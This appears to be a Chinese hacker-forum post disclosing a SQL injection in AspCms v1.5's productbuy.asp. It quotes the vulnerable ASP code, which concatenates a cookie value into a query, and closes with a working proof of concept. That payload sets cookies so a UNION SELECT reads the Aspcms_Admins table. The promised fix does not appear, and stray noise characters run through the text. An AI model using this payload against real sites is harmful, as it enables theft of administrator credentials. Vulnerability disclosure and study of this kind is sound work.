AspCms_v1.5_20110517 SQL注射漏洞及修复

admin

好久没上土司了，上来一看发现在删号名单内.....
' l' `% Z/ z& [7 r8 @4 D4 k7 ?也没啥好发的，前些天路过某个小站，用的AspCms这个系统，搜索了下，productbuy.asp这个文件存在注射，但是目标已经修补....下载了代码，很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞，但是就在同一个文件下面找到了注射漏洞。。。。。。。
) U0 X4 G" p  F. B2 I废话不多说，看代码：

<%

4 M7 C0 e% Q# t( ?. Lif action = "buy" then

4 h: _# k2 e) f: O4 N* W        addOrder()

* j! X, m! \2 h; Celse

        echoContent()

end if
# r. `6 J3 h5 E7 `

$ W  e( j+ Y* G$ G4 F; z" U
……略过
9 I4 S8 q# ^) {$ Y+ D  M9 M

" W* b- T. ?# b
$ E  E5 l4 D9 s4 w, aSub echoContent()
$ l( y7 m; u6 w0 n' V
' K" [/ C! @9 j+ A; ]        dim id

        id=getForm("id","get")

        
" v0 H" v- p1 d. p6 C1 ?
, @" ]& O6 O1 ^5 P: u( O        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品！","-1"
/ t$ |' A: o1 a$ y1 F, U( @
        

$ G7 i8 k3 K& `4 i# z- K        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")
9 q' x$ ~4 L2 o1 [* W
: G2 ~% }" P& a' ?        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct

5 C3 k) [- y/ O. K: r        Dim templatePath,tempStr

  Q# j. P4 _2 y/ V+ `) s3 e8 K5 B        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
, d& H2 Y3 ~( H

' s3 a9 ?( K5 V8 z' s1 D$ L
        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")
3 V% ?( R" _% P; e" L
        selectproduct=rsObj(0)

        
5 C! H" p9 g0 W8 I2 d. ~
        Dim linkman,gender,phone,mobile,email,qq,address,postcode

        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0

        if rCookie("loginstatus")=1 then  
3 h; i0 y$ B. W4 s1 B
                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")
0 _6 w7 I' l$ ]" B
                linkman=rsObj("truename")
% G: _# i$ N  ^
                gender=rsObj("gender")

                phone=rsObj("phone")
) K9 T: I. @5 S1 D, @+ U3 }$ m
0 |0 z9 m# s) ~3 b7 h1 l! S                mobile=rsObj("mobile")
  `% n! u$ s) i9 I! ?' |# a% p
- \) r) V( f7 {$ Y7 O7 B7 \                email=rsObj("email")
" |2 N8 y1 n' x, O
                qq=rsObj("qq")

                address=rsObj("address")

& t6 c* [' N( \5 p                postcode=rsObj("postcode")
6 ]1 |7 p. v) z
3 G, t; n0 I* S8 P& t! l) |4 n8 D) R        else

                gender=1
9 _/ ?' B2 a0 H. X0 Y
        end if

        rsObj.close()
1 D( ]; S: n; i$ n& K6 o# x
               

        with templateObj

                .content=loadFile(templatePath)        
/ a/ V% U+ I  h, j4 G3 c
, q; a% ^( R  k; }! [# X5 Q5 W                .parseHtml()

2 U+ G* U3 }0 n4 A" l0 a0 ^, J. H                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)
. \2 X* {7 Y. {( L, W
9 l0 \. u. B0 d8 _4 b                .content=replaceStr(.content,"[aspcms:linkman]",linkman)               

5 v; I! Z5 ~* W# ?4 |9 D                .content=replaceStr(.content,"[aspcms:gender]",gender)               

                .content=replaceStr(.content,"[aspcms:phone]",phone)               
+ }7 I. K- J9 p( O" Y
0 E7 y" k2 c4 n                .content=replaceStr(.content,"[aspcms:mobile]",mobile)               
. U# j! j3 g+ U/ c9 f" l) i
' ?* u' W9 X  y2 i6 T! N/ Y3 A                .content=replaceStr(.content,"[aspcms:email]",email)                        
1 t! z% s0 T1 ^# C
4 V% h: A  N$ o# f0 G$ p* O                .content=replaceStr(.content,"[aspcms:qq]",qq)                        

                .content=replaceStr(.content,"[aspcms:address]",address)                        
# B0 F! r- q0 D1 P8 ^- R
                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        
; T- F3 G+ U4 |* b# Z* H1 B# M
                .parseCommon()                 

2 r- m: E" x& u- N% u- _" B8 H/ ]                echo .content
/ w, I/ Z! h# A+ x
        end with

6 E; E9 C; E; P! F$ G        set templateobj =nothing : terminateAllObjects

End Sub
0 a1 ^1 D( F( e, l% s  H, O9 A漏洞很明显，没啥好说的
3 v5 U* D/ e9 j7 V4 f/ y6 \poc：
  e1 @) T7 j( @9 P3 d
/ j( z+ |; e8 f' Gjavascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外，脚本板块没权限发帖子​

0 y+ L. g" i, |